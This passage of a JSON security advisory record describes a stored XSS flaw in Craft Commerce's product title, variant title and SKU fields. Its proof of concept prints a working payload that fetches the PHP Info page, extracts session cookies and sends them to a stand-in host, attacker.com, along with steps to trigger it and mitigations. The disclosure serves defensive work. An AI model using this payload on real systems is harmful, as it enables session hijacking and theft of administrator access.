The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.\n\nThis vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.\n\n## Proof of Concept\n\n### Permissions Required\n\n- Access the control panel\n- Access Craft Commerce\n- Create/Edit products\n\n### Steps to Reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce → Products**\n3. Add a new product and set the **Title** field to: (replace `https://attacker.com`)\n    ```html\n    \u003cimg src=x onerror=\"fetch('/admin/utilities/php-info').then(r=\u003er.text()).then(t=\u003e{m=t.match(/\u003cth[^\u003e]*\u003eCookie[^\u003c]*\u003c\\/th\u003e\\s*\u003ctd[^\u003e]*\u003e([\\s\\S]*?)\u003c\\/td\u003e/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})\"\u003e\n    ```\n4. Save the product\n5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`)\n6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server\n\n### Cookie Extraction Details\nThe PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations:\n- `HTTP_COOKIE`\n- `Cookie` (used in this PoC)\n- `$_SERVER['HTTP_COOKIE']`\n- `$_COOKIE['\u003ccookie-name\u003e']`\n\n### Notes\n- The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.\n- `$_COOKIE['CRAFT_CSRF_TOKEN']` is masked in PHP Info, but the unmasked value is available in the other parameters listed above.\n- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.\n\n## Mitigation\n1. Sanitize product and variant fields when rendering in the inventory template\n2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)","status":"published","published":"2026-03-10T18:23:42Z","modified":"2026-03-10T22:55:20Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:34.616253Z"}],"nvd":[{"id":"CVE-2026-29175","description":"Craft Commerce is an ecommerce platform for Craft CMS.
